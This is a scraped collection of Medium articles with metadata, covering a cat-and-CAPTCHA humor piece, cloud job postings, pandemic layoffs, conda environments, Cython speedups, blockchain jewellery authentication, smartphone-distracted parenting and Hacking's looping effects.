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2,200 | Are Cats Competing For Your Job? | Are Cats Competing For Your Job?
Artificial intelligence may be the least of your problems, according to this kitten.
In The Robots Are Coming: The Future of Jobs in the Age of Automation, 47 percent of U.S. jobs are “at risk of being replaced by robots and artificial intelligence over the next fifteen to twenty years.”
But in recent reports, experts have discovered that the furry feline sitting on your couch could be the real threat to society. CI takeover is a new fear in humanity, and according to Larry Elliot: “Cats will take our jobs. We’d better plan now, before it’s too late.”
Since at least 2013, Google has been integrating automated bot-detection into its CAPTCHAs. But there’s one thing they haven’t considered: Are you a cat?
The difference between bot and cat are widely unknown. However, we have recently studied the way a cat moves its mouse before clicking the “I am not a robot” button.
According to Google, CAPTCHA is defined as:
“A program or system intended to distinguish human from machine input, typically as a way of thwarting spam and automated extraction of data from websites.”
Take away the p, and you’ve got CATCHA. Is this a conspiracy theory for cats wanting to take over the world?
According to wired.com, Google’s artificial brain learned to find cat videos in 2002:
“Picking up on the most commonly occurring images featured on YouTube, the system achieved 81.7 percent accuracy in detecting human faces, 76.7 percent accuracy when identifying human body parts and 74.8 percent accuracy when identifying cats. We never told it during the training, ‘This is a cat,’” Jeff Dean, the Google fellow who led the study, told the New York Times. “It basically invented the concept of a cat.”
Not convinced? Read on to find out how cats are competing for your job. | https://medium.com/live-long-and-prospurr/are-cats-competing-for-your-job-ad290cb3145a | ['Katy Velvet'] | 2019-05-30 20:44:47.923000+00:00 | ['Technology', 'Artificial Intelligence', 'Cats', 'Future', 'Humor'] |
2,201 | Job Posting boosted for Google Cloud Platform. | Google Cloud Platform
The share of job postings in that time period increased for AWS by 232.06 percent and Azure by 302.47 percent, while Google Cloud saw the biggest jump at 1,337.05 percent. Between 2018 and 2019, the number of job postings for AWS climbed 21.07 percent, Azure by 30.59 percent and Google Cloud by 40.87 percent.” | https://medium.com/@dridhon/job-posting-boosted-for-google-cloud-platform-fa4ae554f0bf | [] | 2020-12-24 05:27:42.700000+00:00 | ['Computer Science', 'AWS', 'Technology', 'Google Cloud Platform', 'Azure'] |
2,202 | Major Layoffs | BUSINESS
Major Layoffs
And what can we learn from them
Photo by Jiw Ingka on Shutterstock
Ok, the topic itself does not shout unicorns and rainbows. It’s not news that during the pandemic, companies are engaging in mass layouts to save their companies. Some are ugly and others are uglier. However, we can make the most of it and learn from them.
Airbnb
Toshifumi Kitamura by Getty Images
Airbnb survived the layoffs with flying stars and won the hearts of many. The CEO sent a message for the laid-off employees which is now public. If you had a chance to read it, you might have sensed how much they care. First, the CEO acknowledged the value of people they had to let go of. Secondly, he admitted the uncertainties they were facing and showed his sincerity admitting their shortcomings. Moreover, he was empathetic and offered help in the ways he could. He granted access to laid-off employees:
Alumni Talent Directory — It is a website to help the leaving teammates find new jobs. When they pool them into a platform, it is easier to manage.
Alumni Placement Team — For the remainder of 2020, a significant portion of Airbnb Recruiting is announced to work as an Alumni Placement Team. That means recruiters that are staying with Airbnb will provide support to departing employees to help them find their next job. It sounds like it is too good to be true.
RiseSmart — It involves four months of career services through a company that specializes in career transition and job placement services.
Employee Offered Alumni Support — This is for all remaining employees to join a program to assist departing teammates to find their next role.
Laptops — They allowed everyone leaving to keep their Apple laptops. Just like a good place to work scoreboards, there should be a good place to leave.
The company really made an effort to lead with transparency. They showed they care and made those leaving feel supported and those staying feel proud to be working there. It is relieving to see such examples -wait until you scroll down and you will appreciate them too.
Airbnb recently launched what they call Online Experiences on their website, where customers pay to watch people make origami, produce cheese, and take dancing lessons or any other activity. It is a way to keep the cash flowing and help the company survive the pandemic. One thing I didn’t get is the wine tasting though, I wouldn’t pay to watch people drink and talk about how good it is but maybe you will. That initiative combined with the $1 billion they recently secured in April will keep them going.
Uber
Photo by Robert Anasch on Unsplash
Nobody used car services for a while. Where would anyone go when the world stopped and we all stayed at home?
Consequently, Uber lost $2.9 billion in the first quarter of 2020, its biggest loss in three quarters. The CFO Nelson Chai told investors “The reality is the world has changed”. This resulted in the company cutting 14% of its workforce laying out around 4000 jobs. The CEO Dara Khosrowshahi announced he will forego his $1 million this year. I would call this leading by example. Let’s admit it, it wouldn’t affect him much anyway. Many airline CEO’s also take pay-cuts including United Airlines, Delta Airlines, and JetBlue Airways.
Some employees formed a list of ex-Uber employees called Uber Alumni to help people find new jobs and ease the stress a little bit. It is great to see people helping each other out this way.
A twist in the story. Even though the ride-hailing business fell, bookings in the Uber Eats division were up more than 54 percent year over year, thanks to increased demand for food deliveries. This shows the importance of having side businesses, what you invest in aside from your core competency could save you the next day. In the case of Uber, it is the food business the company entered in August 2014 and is continuing to grow.
Khosrowshahi announced it might not be all bad with the pandemic:
“There is a silver lining to this unbelievably tragic Covid virus, which is that the business we have of Eats, and the category in general, just looked like it is going to be substantially increased — some would say by multiples.”
The company is getting ready for the next phase of recovery, including adding extra measures to its ride business such as making the drivers wear face masks and some other precautions. It is expected that they will announce what they are exactly in the following weeks. It is important to be proactive and adapt fast to situations, including the pandemic. If they are to fall behind during this period, it might cost to their survival.
Bird
Photo by Editorial Team on Silicon Canals
Well, this one is an example of what not to do when laying people off. I don’t like to believe we live in a world where over 400 employees were fired in a 2-minute Zoom meeting, “Black Mirror” style. It wasn’t the CEO who did it, but a disembodied voice read a script informing the employees that they’ve been laid off while their accounts were shut off immediately. It’s like a dream, but one you want to wake up from.
What we can learn from it?
It is not only what you do but how you do it. Airbnb’s CEO showed us that.
Why not take the time to explain everything, show your appreciation to people, and answer any question they might have? More importantly, why not deliver the bad news yourself? It could be a good strategy to let good news delivered by others, but that doesn’t apply for the bad news. Reputation is everything and it is so much more than the valuation. I believe they would be better off if they lost more money, then they are after this unforgettable inhuman act.
WeWork
Photo by Brandon Hooper on Unsplash
Even though the company is affected hugely by the pandemic, its layoffs are attempts to put together what is already broken in the company. So let’s learn from them.
A failed IPO in October 2019, a ridiculously overvalued company $47 billion to be exact, combined with an irresponsible CEO… That would not be the best combination for business. The new CEO Sandeep Mathrani, as of February 2020, is trying to undo the damage of Neumann’s. Let’s say the former was not your ideal CEO who sold his own company the name “We” in the WeWork for $6 million or entered the wave-pool business out of his love for surfing. With the same logic, because I love cheese, should I invest in it? For the record, don’t fool your company or your board or no one in general. He stepped down as CEO due to “intense public scrutiny” that has become a distraction in running the firm. I would be distracted too.
WeWork wanted to give the impression that it no longer strived to be viewed as a tech company but rather as a real estate with the new CEO. Why was it viewed as a tech company in the first place anyway? No one knows. However, the company could not get to see his effect as the pandemic hit right after he sat on the chair.
The office-sharing business is hit tremendously as fewer people work in offices. Sandeep warned staff weeks ago that more jobs would be lost on top of the 2,400 eliminated in 2019 and 250 more in March. As of April, SoftBank’s CEO said its $9 billion bets on WeWork and Adam Neumann was a mistake. The CEO is optimistic though, “We’re now confident that we put in new management, a new plan and we’re going to turn it around and make a decent return”. Their future will tell if a company will be able to succeed despite consecutive prior wrong decisions, a CEO change, board members quitting after another, bosses frequently sleeping with subordinates, and finally a pandemic. This seems like a rare combination to me. | https://medium.com/swlh/major-layoffs-45742ce24a3b | ['Beril Kocadereli'] | 2020-05-18 17:31:00.132000+00:00 | ['Leadership', 'Technology', 'Business', 'Learning', 'Coronavirus'] |
2,203 | The Definitive Guide to Conda Environments | Where Environments Live
When you create an environment with Python’s venv module, you need to say where it lives by specifying its path.
% python3 -m venv /path/to/new/environment
Environments created with conda , on the other hand, live by default in the envs/ folder of your Conda directory, whose path will look something like:
% /Users/user-name/miniconda3/envs # Or .../anaconda3/envs
I prefer the approach taken by venv for two reasons.
1️⃣ It makes it easy to tell if a project utilizes an isolated environment by including the environment as a sub-directory.
my-project/
├── conda-env # Project uses an isolated env ✅
├── data
├── src
└── tests
2️⃣ It allows you to use the same name for all of your environments (I use “conda-env”), meaning you can activate each with the same command.
% cd my-project/
% conda activate conda-env
💸 Bonus: This allows you to alias the activation command and stick it in your .bashrc file, making life a little bit simpler.
⚠️ Note: If you keep all of your environments in your Conda’s env/ folder, you’ll have to give each of them a different name, which can be a pain 😞.
So, how do you place environments outside of your Conda’s env/ folder? By using the --prefix flag instead of --name when creating an environment.
% conda create --prefix /path/to/conda-env # Or use -p
⚠️ Note: This makes an environment called “conda-env” in the specified path.
It’s as simple as that. However, placing environments outside of the default env/ folder comes with two drawbacks.
1️⃣ conda can no longer find your environment with the --name flag. Instead, you’ll need to pass the --prefix flag along with the environment’s full path. For example, when installing packages, which we’ll cover in the next section.
2️⃣ Your command prompt is no longer prefixed with the active environment’s name, but rather its full path.
(/path/to/conda-env) %
As you can imagine, this gets messy quickly. Like this doozy, for instance.
(/Users/user-name/data-science/project-name/conda-env) % # 😨
Fortunately, there’s an easy fix. You just need to modify the env_prompt setting in your .condarc file, which you can do with a single stroke.
% conda config --set env_prompt '({name}) '
⚠️ Note: This will edit your .condarc file if you already have one and create one if you do not. For more on modifying your .condarc file, see the docs.
Now your command prompt will only display the active environment’s name.
% conda activate /path/to/conda-env
(conda-env) % # Woohoo! 🎉
Last, you can view a list of all your existing environments.
% conda env list # conda environments:
#
/path/to/conda-env
base * /Users/username/miniconda3
r-env /Users/username/miniconda3/envs/r-env | https://towardsdatascience.com/a-guide-to-conda-environments-bc6180fc533 | ['Matthew Sarmiento'] | 2020-02-10 19:34:04.674000+00:00 | ['Programming', 'Software Development', 'Data Science', 'Technology', 'Towards Data Science'] |
2,204 | Use Cython to get more than 30X speedup on your Python code | Cython will give your Python code super-car speed
Python is a community favorite programming language! It’s by far one of the easiest to use as code is written in an intuitive, human-readable way.
Yet you’ll often hear the same complaint about Python over and over again, especially from the C code gurus out there: Python is slow.
And they’re not wrong.
Relative to many other programming languages, Python is slow. Benchmark game has some solid benchmarks for comparing the speed of various programming languages on different tasks.
There’s a couple of different ways to speed things up that I’ve written about before:
(1) Use multi-processing libraries to use all the CPU cores
(2) If you’re using Numpy, Pandas, or Scikit-Learn, use Rapids to accelerate the processing on GPU.
Those are great if what you’re doing can, in fact, be parallelized, such as data pre-processing or matrix operations.
But what if your code is pure Python? What if you have a big for-loop that you just have to use and can’t put into a matrix because the data has to be processed in sequence? Is there a way to speedup Python itself?
That’s where Cython comes in to speed up our raw Python code.
What is Cython?
At its core, Cython is an intermediate step between Python and C/C++. It allows you to write pure Python code with some minor modifications, which is then translated directly into C code.
The only adjustment you make to your Python code is adding type information to every variable. Normally, we might declare a variable in Python like this:
x = 0.5
With Cython, we’re going to add a type to that variable:
cdef float x = 0.5
This tells Cython that our variable is floating point, just like we would do in C. With pure Python, the variable’s type is determined on the fly. The explicit declaration of the type in Cython is what makes the conversion to C possible, since explicit type declarations are required+.
Installing Cython requires just a single line of pip:
pip install cython
Types in Cython
When using Cython, there are two different sets of types, for variables and functions.
For variables we have:
cdef int a, b, c
a, b, c cdef char *s
*s cdef float x = 0.5 (single precision)
x = 0.5 (single precision) cdef double x = 63.4 (double precision)
x = 63.4 (double precision) cdef list names
names cdef dict goals_for_each_play
goals_for_each_play cdef object card_deck
Notice how all of these types come from C/C++! For the functions we have:
def — regular python function, calls from Python only.
— regular python function, calls from Python only. cdef — Cython only functions which can’t be accessed from python-only code i.e must be called within Cython
— Cython only functions which can’t be accessed from python-only code i.e must be called within Cython cpdef — C and Python. Can be accessed from both C and Python
With an understanding of Cython types in hand, we can go right ahead and implement our speedup!
How to speedup your code with Cython
The first thing we’ll do is set up a Python code benchmark: a for-loop used to compute the factorial of a number. The raw Python code is shown below:
Our Cython equivalent of the same function looks very similar. First, we’ll make sure that our Cython code file has a .pyx extension. The only change to the code itself is that we’ve declared the type of each and every variable and function.
Notice how the function has a cpdef to make sure we can call it from Python. Also see how even our looping variable i has a type. You’ll need to set the type for all of the variables in the function, so that the C compiler knows what type to use!
Next, create a setup.py file which will compile the Cython code into C code:
And perform the compilation:
python setup.py build_ext --inplace
Boom! Our C code has been compiled and is ready to use!
You’ll see that in the folder where your Cython code is, you have all the files needed to run C code, including the run_cython.c file. If you’re curious, take a look at it to see the C code that Cython generated!
Now we’re ready to test out our new, super fast C code! Check out the code below, which implements a speed test to compare the raw Python code to the Cython one.
The code is very straight forward. We’re importing our files in the same way as regular Python, and running the functions in the same way as regular Python!
Cython will get you good speedups on almost any raw Python code, without too much extra effort at all. The key thing to note is that the more loops you’re going through, and the more data you’re crunching, the more Cython can help.
Check out the table below which shows how much speed Cython gave us for different factorial values. We got over 36X speedup with Cython! | https://towardsdatascience.com/use-cython-to-get-more-than-30x-speedup-on-your-python-code-f6cb337919b6 | ['George Seif'] | 2019-09-14 00:44:24.330000+00:00 | ['Programming', 'Artificial Intelligence', 'Python', 'Data Science', 'Technology'] |
2,205 | How to Identify fake jewels and fraudulent jewellery? Use blockchain security | Diamonds, rubies, sapphires, and emeralds all compete to be a girl’s (and guy’s) best friend in today’s buoyant global jewellery market. As the demand for jewels grows, so do the opportunities for forgers and counterfeiters.
Independent jewellery valuer, expert and historian John Benjamin has some straightforward advice on what consumers, resellers and even brands can do to spot fakes and avoid them or take them off the market.
Don’t assume you can spot a fake
Whatever assumptions you may have about the kind of jewellery that can be faked or forged — you might be surprised. Antique status, affordability or physical maker’s markers and engravings; none of them completely guarantee the authenticity of a piece. For as long as jewellery has existed, counterfeiters have been using ingenious methods to mimic the appearance of authentic stones and precious metals; and imitating high-end brands to drive up the price of goods.
Speaking about these difficulties, John Benjamin says, “One of the problems is a tendency towards ‘wishful thinking’ from the public.” His best advice? “People are keen for a bargain, and they forget that if it seems too good to be true, then it generally is.”
The problem is not only confined to expensive, potentially high-ticket items. Near-worthless cubic zirconia or moissanite — exceedingly difficult to differentiate from genuine diamonds, especially when small or placed in recessed channels — can be set in cheaper rings and other pieces. For coloured gemstones like rubies and sapphires, unscrupulous forgers heat and fill them with glass to enhance their appearance and perceived value.
And while fakes and forgeries are less common at the higher end of the market, it is a significant problem. Business Wire estimates a 7% increase in the “imitation jewellery” market over five years, with advances in things like 3D printing making forgeries easier than ever before. There’s also the issue of “antique” jewels that are sometimes sold in plausible — but fake — settings.
So, in an industry where fakes are becoming increasingly convincing, we asked Benjamin for his advice to make sure you always know what you’re buying.
A paper trail is vital — up to a point
Makers marks, receipts, certificates of authenticity and gem reports are essential. “Always ask for a receipt which provides a detailed and unambiguous description of what you’re buying,” says Benjamin. “And make sure that any alterations are clearly noted at the outset.”
None of these things guarantees authenticity, however. Marker’s Marks have been around for centuries, and documentation can be forged. And while reputable shops, dealers and auction houses regularly sell stones with independent gem reports, these have not been able to prevent counterfeiting either.
Buy your jewellery from well-established suppliers
As a basic rule, only buy from suppliers whose businesses are long-established, with a sound reputation and a depth of stock which reflects their status. Make sure they are members of the NAJ where possible. If an auction house, do they hold regular, dedicated jewellery sales?
All of these checks can help make sure that someone making an investment in a piece of jewellery is protected.
But none of them alone will guarantee authenticity, and new digital solutions may be able to help.
Protecting investments with blockchain
If you are buying a high-value piece of jewellery — as an investment, a family heirloom, or entirely out of love for the craftsmanship, then the problem with counterfeits is obvious. But forgery is a much larger issue than just cheating the consumers out of the real thing — especially when physical makers marks and authentication paperwork are not working. Brands and consumers need something more.
“Many brands are adopting blockchain-based systems for their content and their products,” said Yaliyomo CEO Nihat Arkan. “The beauty of blockchain is that once we create a record, for example, a ‘digital sibling’ of a bracelet from Tiffany and Co, this data can’t be deleted. We can record details of the stone and setting, as well as the maker’s mark, gem report and any history in minute detail. Any amendments show up immediately, with complete visibility, and only genuine brands can create those records — protecting the customer’s investment and defending brands against unwelcome forgeries,” He added.
Y platform — the company’s consumer-facing solution for brands, does just that. Developed by experts in content management and high-end retail, the CMP has the benefit of an API which allows it to sit alongside existing Content Platforms. Bjorn Bayard, Yaliyomo founder, explains, “We wanted something that would dramatically improve security and traceability for both brands and consumers without having to migrate fully onto a new platform, with new processes and lots of difficulties. We can get clients set up and their products recorded and authenticated in the blockchain in a matter of weeks.”
The process is even easier for consumers. “For a customer, all they need to do is download our App, available on the Apple App Store and Google’s Android Store, open their account, and they are ready to go.”
Authorised brands and sellers can create digital siblings and pass these on the consumers as proof of authenticity and ownership. In turn, customers can pass this on again when they sell on their timepiece or give it as a gift.
Whether a watch, a piece of jewellery, a fashion statement or a financial investment, everyone wants to take care and protect themselves from fraud. A digital world needs a digital solution — blockchain and Y platform offer a ready to go solution that could help end the massive global forgery market for good.
For more information visit: https://yaliyomo.net | https://medium.com/@yaliyomo/how-to-identify-fake-jewels-and-fraudulent-jewellery-use-blockchain-security-3b55cebf8b6b | [] | 2020-12-09 16:08:50.148000+00:00 | ['Luxury Brands', 'Blockchain Technology', 'Blockchain Startup', 'Luxury', 'Jewelry'] |
2,206 | The Secret To Attentive Parenting In the Age of Smartphones | The Secret To Attentive Parenting In the Age of Smartphones
Shocked by my daughter’s accusation, I conducted a small study and used the results to create better digital practices for my family Rivi Rotenberg Apr 15·13 min read
Image credit: Wavebreakmedia.
I spent every weekday afternoon for the last three weeks in the neighborhood park. As a mother with young children, I blended in well. My primary goal, however, was not to watch my children play on the playground. It was to watch other parents interact with their children.
This was far from a scientific study, but I learned a heck of a lot.
Parenting in a Tech-Driven World
If you are a parent and you know other parents, the topic of children and screen time will come up. It’s both universal and inevitable.
In the past, when this topic came up, I had always felt pretty smug. I don’t think I bragged, but let’s just say that I wasn’t shy to share. I was invested in this topic. I had done my research so I was pretty sure I’d ace all the talking points that they’d cover.
Here’s why.
My kids (ages 1–9) do not have their own personal devices.✔
They mostly watch educational (PBS kids) shows. ✔
No screen time on school nights. ✔
An hour of screen time on the weekends. (In total. I know. Very proud of this one.) ✔
My kids have access to only one device. It is a desktop in our living area. They take turns or share. ✔✔✔
Sounds impressive, right?
Or not. Maybe you’re rolling your eyes.
Either way, it probably does not sound like these children are at any major risk of too much screen time.
Nothing could be further from the truth though.
They are at risk of too much screen time. My screen time.
Unchecked parental distraction can be toxic for children. So while I thought I was doing everything right, my children were breathing in secondhand smoke. And it took a deeply sobering moment to startle me from my own complacency.
The Backstory
Last weekend, I was getting my kids ready for an outing. I picked up my iPhone to check the weather. When getting four kids from Point A to Point B, an extra 30-second trip to open the front door can feel ambitious. Or pointless.
I don’t remember the particulars of the notification that triggered my attention, but ten minutes later, I was still holding my phone, my six-year-old daughter was yelling something to me, and I probably couldn’t tell you what the weather was.
She was terrified that her seven-month-old baby sister was choking. In the numbing rabbit hole that is Instagram, it took her a few tries to get my attention. When she did, I quickly dropped the phone and saw that there was in fact a reason for her concern. The baby was coughing after attempting to eat a small piece of paper on the floor. It wasn’t a choking hazard.
Luckily all was well. The baby was fine, but my daughter wasn’t. The effort of getting my attention left her overwrought. And next, came the question in a small voice, with no irony.
“Mommy, what’s more important? Your phone or someone’s life?”
Damn, girl.
From anyone else, this would be a melodramatic and obviously rhetorical question. But she was actually waiting for an answer. She sincerely wanted to know. And what struck me most about this experience was that at that very moment in time, the real answer was not obvious to her at all.
Because young children take us at face value. And the only way to interpret my actions at face value is how they appear. When I’m ignoring her in favor of a screen, the screen is more important than her. Than her baby brother, choking. Even if it isn’t, it is.
Shifting the Conversation
In projecting all of my past education outward (namely, on my children) and none of it inward (on myself), I conveniently sidestepped a major pitfall of technology-distracted parenting.
The issue is not just how we raise our children in a technology-driven world.
The issue is also how we parent in a technology-driven world.
Centering the conversation around parental screen time does not take away from the essentiality of addressing children’s screen time. The research on that is undeniable and sobering. It is simply shining a light on the other side of the equation.
On our personal habits and accountability. Does this conversation make us more uncomfortable? Undoubtedly. And that’s exactly why we must have it.
There’s another conversation shift that needs to take place. Away from shame and judgment and toward practical and helpful solutions.
If you Google distracted parenting, it will tell you all the things that can go wrong. How it interferes with early development, poses a physical danger, and negatively impacts your child’s sense of worth, relationship to technology, and yourself. All true. Now try Googling “attentive parenting.”
It will tell you all of the above again. It might be more palatable, with an emphasis on the importance of attentiveness. But the actual beef of the message is pretty similar. It highlights what can go wrong. There’s very little practical information on how to do it right. The operative word in that sentence being practical.
I did see a lot of fluff pieces that read like New Year’s resolution lists… Inspiring but not sustainable. I still needed real advice, and I couldn’t find it. Predictably, I was hellbent on discovering it.
You’re welcome in advance.
The Park Bench Study of 2020
The design
So I hit the park bench. To observe interactions and have candid conversations.
For two weeks I simply recorded data about the population and their device usage. I also made casual observations about the parent/child interactions that I observed.
After gathering that data, I conducted an informal survey. I prepared a short set of questions that sparked incredible conversations.
The moms did not disappoint. At the end of these three weeks, I learned invaluable insight into the true art of attentive parenting.
The kicker — there is a way to use your phone around your kids that will naturally inhibit distraction on your part and frustration on theirs.
The setting
I sat on a park bench near a local private school for two hours every school day for three consecutive weeks. I chose this park because it was small. The benches are very close to the playground. There are usually only about 5–10 families there on average so it wasn’t too difficult to record interactions. There was an assortment of repeat families which was helpful to me.
The numbers
How many caregiver/s and child/ren units were at the park each day.
Typically between 5–10.
It was once as little as one family and once as many as 14.
How long each unit spent at the park.
Short visit (20%) 30 min-1 hour.
Medium visit (50%) 1–1.5 hours.
Long visit (30%) 1.5–2 hours.
I did not keep track of families who stayed less than a half-hour.
Results are an average of over 15 afternoons to the nearest 10 percent.
Device usage of each caregiver
Maximal Use: (10%) Phone usage for the bulk of their park stay.
Moderate Use: (70%) Occasional scrolling, with interim breaks.
Minimal use: (20%) Checked occasional alerts.
No use: (3 caregivers overall, but they each stayed less than a half-hour.)
Results are an average of over 15 afternoons to the nearest 10 percent.
For repeat caregivers, I used quick averages.
So let’s say we have “Mom X” who came to the park twice.
One ‘2-hour’ stay with minimal use.
One ‘1-hour’ stay with maximal use.
Total of 3 hours and was put in the moderate use category.
Disclaimers
Calm down, don’t hate just yet. I know this is not an actual study. I am well aware that “bulk” and “occasional” are not scientific quantities. The numbers and averages are to give context, not an attempt at any professional standard. But, I will say this:
I’m a mom and freelance writer. I am also a practicing pediatric occupational therapist. I have taken countless parenting workshops and professional development in-services. And I’ve learned a thing or two along the way.
And as far as practical advice goes? I learn the most real stuff from fellow moms. If that resonates, continue reading.
Observations
Most of my observations were not groundbreaking. They simply affirmed my own intuition.
Children often need to make several attempts to get the attention of an adult using a device.
The children become increasingly frustrated. The adults often respond by chastising the child for whining, lack of patience, consideration, etc.
Children have an easier time getting the adult’s attention when the adult is talking to another physical person.
Adults typically respond with less frustration during those interruptions than the digital ones. (It should be noted that this is not necessarily due to the nature of the engagement. It can also be attributed to an onlooker noting his/her response.)
The adults who use their devices sparingly in the park are much more apt to push a child on a swing or engage with them on the playground.
The adults who used devices heavily typically sat on the bench for the majority of their visits.
Survey Questions
These questions were asked a total of 40 times to 32 mothers, 5 caregivers, and 3 fathers. Responses were estimated to the nearest 5 percent.
Who has more screen time? You or your child?
(Pretty much a 50/50 response on this one)
2. Do you feel that your children are negatively impacted by your technology use?
(70% yes, 30% no)
3. Have you actively tried to curb your technology use when you are with your family?
(75% yes, 25% no)
4. If yes, what works for you?
(See below — popular answers included accountability from spouse and older children, transparency in communication, and select time management apps)
5. What does not?
(Guilt, unreasonable goals, creating ironclad rules)
What we all agreed on
Throughout their day, children see us prioritizing something else. They often have no idea what that “something else” even is. They simply see you zoned into a screen in your hand. This makes them try harder to get your attention, eventually leaving them feeling ignored and frustrated.
Establishing routines in any goal area is proven to work. Adding in accountability increases the odds of success. This is why many of the parents I spoke to did their homework and implemented changes. Many were left disappointed by “expert” advice and guilty with their inability to stick to it.
Popular Opinions and Why They Just Don’t Work
It might seem like well-meaning advice to suggest that new moms put away their phones when breast/bottle feeding. It even has a catchy name, “brexting” and apparently it’s bad for bonding.
Let’s get real. Newborns eat non-stop, usually while sleeping. In my own experience, these feedings were often the only times when I was able to catch my breath (and take a social media break if I wanted to).
Also, let’s remember. We’re talking about moms. They can…(drumroll)… multitask. They can text and bond with their babies at the same time, simply by providing warmth, touch, and familiar smell. Guilting them for this practice is kind of ridiculous.
There is another popular suggestion that real parents don’t know what to make of:
“Live in the moment. Put your phone away on family outings, vacations, trips…”
But how are we getting there without WAZE?
Or an UBER?
How will we know where to eat without YELP?
And more importantly, this is not 2005. I don’t have a Canon in my fanny pack. How am I taking pictures? The pictures? The pictures!? You feel me?
So what actually works?
The 4 Incredibly Practical Strategies for Attentive Parenting
1. No tech at family mealtimes
What it looks like: Have a designated tech box in your family dining area. (It can be the bread box or an old vase.)
Make yourself accountable by telling your kids about it. This is where they shine. Trust me, they’ll remind you.
How it’s going:
We’re three months into this and it’s been really hard to stay consistent, but it’s also been well worth it. The quality of our family mealtimes has changed for the better. We don’t have family dinner every night, mostly on the weekends and occasionally when our schedules align.
It took some time for us to find a new rhythm. In the beginning, we were hyper-aware of the atmosphere we were trying to create, and we overwhelmed our children with attention and questions. That didn’t quite work out, and we learned to ease up and simply just be. To spend time together enjoying a meal with no agenda or distractions.
And once we reached that sweet spot, the atmosphere followed. Family mealtime is something my kids love and look forward to. And now they don’t stop talking and sharing. It may be chaotic but the connection is genuine.
2. When on outings, don’t share in real-time
What it looks like: Order an Uber, and compare all the venues on Yelp. Take pics and video clips that you’ll treasure… All reasonable and worthwhile.
But DO NOT edit pics in real-time and DO NOT share pics in real-time.
Not on WhatsApp. Not on Facebook. Not on Instagram. Not on Snapchat. Just don’t.
And don’t leave nasty reviews (or even nice ones) while you’re partaking in said activities.
Bottom line — delay sharing until it’s over.
How it’s going:
I found this one really hard. I struggled with not sharing pictures in real-time mostly because I’ve found myself downplaying the value of this boundary. It felt like such a small breach that I’ll admit to having crossed the line occasionally. I rationalized that no harm was done if I spent two seconds posting a pic in real-time. After all, it’s that much more thrilling to get instantaneous feedback.
Here’s the thing. It’s never two seconds. Immediately after the fact, my phone would start buzzing with the oohs and ahhs and comments. Which was the whole point, wasn’t it? And even if I somehow maintained the self-control not to respond at the moment, I’d already appropriated my mental energy. Away from the actual moment.
These lapses have fueled my resolve to do better. When I’m successful at being fully in the moment, we all benefit. My kids enjoy my undivided attention, and I don’t feel guilty for dividing said attention. As an added bonus I have come to truly enjoy sharing my pictures without a timeclock. We all win.
3. Get the data, use an app
Commit to reading your phone analytics of app usage once weekly with your partner. There’s nothing like hearing the numbers to curb your habits.
Identify your “distraction” trigger apps.
Identify your most susceptible routine times (morning routine, bedtime routine).
Choose an app that will disable the trigger apps during those daily routines.
Stick with it. Even when it gets hard.
How it’s going:
For me, nothing has fueled my own drive for change more than reading the numbers of my usage. I had tried this in the past, but it was both overwhelming and uncomfortable. The kicker here was doing this together with my husband. That was a game-changer. I can’t say that we do it once a week religiously, but it’s kind of developed into a natural routine. We each struggle with different aspects of our commitments, but this helps us stay strong and support each other.
Using an app blocker is an amazing tool, but ultimately you’re in control. It only works if you want it to. I needed to get to that point first. Now that I’m there, I never want to go back.
4. Narrate what you are doing: this is the real secret
Get into the habit of talking out loud when you are using your smartphone in front of your children. It will feel awkward at first, but there are good reasons to narrate your actions.
It is the most intuitive filter: If they need you, and you can’t narrate why you’re unavailable, probably best to save it for later.
Try it:
“I’m just going to check the weather to see if it’ll rain while we’re out.” Sounds right? Check.
“One sec, let me look up the library’s hours.” Check.
“Give me a moment, while I enter the address into the Google Maps.” Check.
“Can’t come now, I’m watching someone apply sunscreen on Instagram.” Nope.
“Hang on, this nice lady is on a really funny rant about how she hates her husband.” That’s a no. Save it for later.
2. Your distraction is much less frustrating for children when they can visualize what you’re doing. This does not mean that all your phone usage needs to somehow benefit your family. It’s just easier to be ignored when you know why.
Put yourself in your kid’s shoes…
You to your spouse: “You won’t believe what happened to me today…”
Spouse: (as he stares and scrolls with his phone) “uh-huh..”
Relatable, but sucks. OR:
You to your spouse: “You won’t believe what happened to me today…”
Spouse: (as he stares and scrolls with his phone) “Give me one minute to finish responding to…”
Doesn’t make your heart sing, but definitely less frustrating.
How it’s going:
My family’s experience in the last few months has upheld this premise. When narrating your tech use consistently, you are both pre-empting the problem and softening the fallout. My children responded positively to this approach from the get-go.
Here’s the caveat. It was a big learning curve for me.
It takes time to develop this habit. In the beginning, you’ll feel like it’s counterintuitive. You’ll be spending more time narrating the distraction when you could instead do it swiftly and be done with the distraction. Do. It. Anyways.
When I found myself cutting corners, I encouraged my children to ask me what I’m doing on my phone. Converting them into accomplices has only eased this journey. I have learned to integrate a natural usage filter. My children have learned to exercise discernment instead of defaulting to frustration. The more they are privy to, the more insight they have.
This right here is why modern parents get a bad rap for distraction. Parents throughout the ages were busy with things other than their children. And I’m not just referring to the heavy stuff like war, famine, and drought.
Were the 1980s dads more attentive parents as they watched the football game from an old-style TV set? Or the schmoozing moms who stretched the cord of the wall phone into the pantry just to escape the chaos? Something tells me not.
There’s the obvious comeback that those devices didn’t live in their pockets and travel with them everywhere. That’s a major point. But with that in mind, we can’t underplay how vital it was that children knew what those parents were doing.
Depending on the scenario, the fact that their parents were occasionally prioritizing something over them was either an unpleasant reality or an example of balanced living. Our distraction is different. It is a constant presence in our children’s lives, but the specific hold is often a complete mystery to them. Naturally, it leaves them feeling unvalued and resentful. That feeling is toxic.
To draw on an earlier comparison, in 1964, the surgeon general administered the first health warning against direct smoking risks in the U.S. It wasn’t until 1972, eight years later, that the concept of secondhand smoke was introduced to the nation. Today it’s an accepted medical reality. Research has shown that 41,000 people die from secondhand smoke every year in the U.S. However, it took decades of research, discovery, and activism to affect change.
Can we afford to wait that long? | https://betterhumans.pub/the-secret-to-attentive-parenting-in-the-age-of-smartphones-bd650aeab8d2 | ['Rivi Rotenberg'] | 2021-04-15 16:54:24.665000+00:00 | ['Technology', 'Kids And Tech', 'Parenting Advice', 'Parenting', 'Digital Detox'] |
2,207 | The looping effects of 2020- cancel culure, Uber and Yelp | The way we categorise things is often socially constructed. For example race, one of the most common demographic categories we are surrounded by, is pretty universally agreed across biology, anthropology and sociology to be a socially constructed label. So it isn’t surprising that the way we categorise ourselves affects the way we behave.
Every categorisation or classification represents a different form of being, and when we change how that form of being is described and grouped, it changes the self-conception of those in that group and their according behaviour. This is a phenomenon which Ian Hacking has termed ‘the looping effects of human kinds’. He describes how ‘human kinds’ dare distinguishable from ‘natural kinds’ by their tendency to have loop in on themselves recursively.
